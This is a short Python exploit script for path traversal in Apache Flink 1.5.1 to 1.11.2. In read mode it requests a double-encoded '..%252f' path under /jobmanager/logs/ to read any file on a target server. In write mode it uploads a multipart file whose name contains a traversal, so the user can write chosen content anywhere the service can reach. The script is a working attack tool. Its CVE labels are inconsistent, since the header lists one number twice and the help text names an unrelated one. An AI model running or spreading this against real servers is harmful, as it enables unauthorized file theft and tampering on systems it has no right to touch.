#coding:utf-8
'''
CVE-2020-17518&CVE-2020-17518  Apache Flink上传路径遍历&任意文件下载  影响版本 Flink 1.5.1-1.11.2
written by ophxc
'''
import argparse
import requests

parser=argparse.ArgumentParser(description="usage of CVE-2018-7600")
parser.add_argument("-u","--url",help="the target url",required=True)
parser.add_argument("-f","--filename",help="the filename you want to give ")
args=parser.parse_args()

flag=input("read file or write file?(r/w)")
filename=args.filename
url="http://"+args.url
proxy = {
    'http': '127.0.0.1:8080'
}
if flag=='r':
    url1=url+"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f.."+str(filename.replace("/","%252f"))
    res1=requests.get(url=url1,proxies=proxy)
    print(res1.status_code)
    if res1.status_code==200:
        print("the result is :\n")
        print(res1.text)
        exit()
    else:
        exit("it's unvulnable")
if flag == 'w':
    url2=url+"#/overview"
    res=requests.get(url=url)
    if res.status_code== 200:
        print("it's seem vulnable now checking :")
    else:
        exit("it's unvunable.")

    header = {
        "host": url2,
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
        'Accept-Encoding': 'gzip, deflate'
    }
    filename2="../../../../../../../../../../.."+filename
    data=input("the data you want to write:")
    file={'files':(filename2,data)}
    res3=requests.post(url=url2,headers=header,files=file)
    if "File upload failed" in res3.text:
        print("please change a dir ,you have no permision")
    else:
        print("file is writen in"+filename)